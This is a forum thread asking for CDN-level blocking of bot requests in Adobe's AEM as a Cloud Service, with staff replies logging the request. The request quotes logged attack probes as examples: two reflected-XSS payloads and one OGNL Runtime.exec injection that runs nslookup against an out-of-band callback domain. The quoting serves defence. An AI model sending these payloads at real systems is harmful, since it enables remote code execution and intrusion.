Block Bot/Bad Requests at CDN to avoid Dispatcher Blocking Action

[#1]

Request for Feature Enhancement (RFE) Summary:	Would like to add the following feature: Block some known Bot Requests by IP in CDN in AEMaaCS. Ignoring URL Parameters at CDN is currently not possible.
Use-case:	We are getting a lot of Bot Requests in our Dispatcher and Publish Logs. Ideally we would like to block these requests at CDN itself. These requests are coming from multiple IP and are impacting the performance of the application. Request Types - 1. /Solar_Image.php?mode=resize&fname=test%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E 2./$%7b@java.lang.Runtime@getRuntime().exec(%22nslookup%20cec9ut6t9v7cv1g00010h8moeyzz4cmdk.oast.live%22)%7d/ 3. /pacs/login.php?message=%3Cimg%20src=%22%22%20onerror=%22alert(1);%22%3E1%3C/img%3E There should be a way to block the IP or perform the action at WAF layer to block these bots.
Current/Experienced Behavior:	The requests are blocked at Dispatcher currently but the logs are choked with these requests.
Improved/Expected Behavior:	The requests get blocked at CDN by either IP or query parameters to avoid request flow to Dispatcher.
Environment Details (AEM version/service pack, any other specifics if applicable):	AEMaaCS - Version - 2022.11.9850.20221116T162329Z-220900
Customer-name/Organization name:	TA Digital
Screenshot (if applicable):
Code package (if applicable):

[#2]

@Rohan_Garg 

Thanks for proposing this idea

This has been reported to the engineering under the internal reference CQ-4351625. The product team will triage this request to verify feasibility based on the prioritization model. This post will be updated according to the Jira request status.

[#3]

@Rohan_Garg, PM for this would be reaching out (or would have reached out) to you for more information.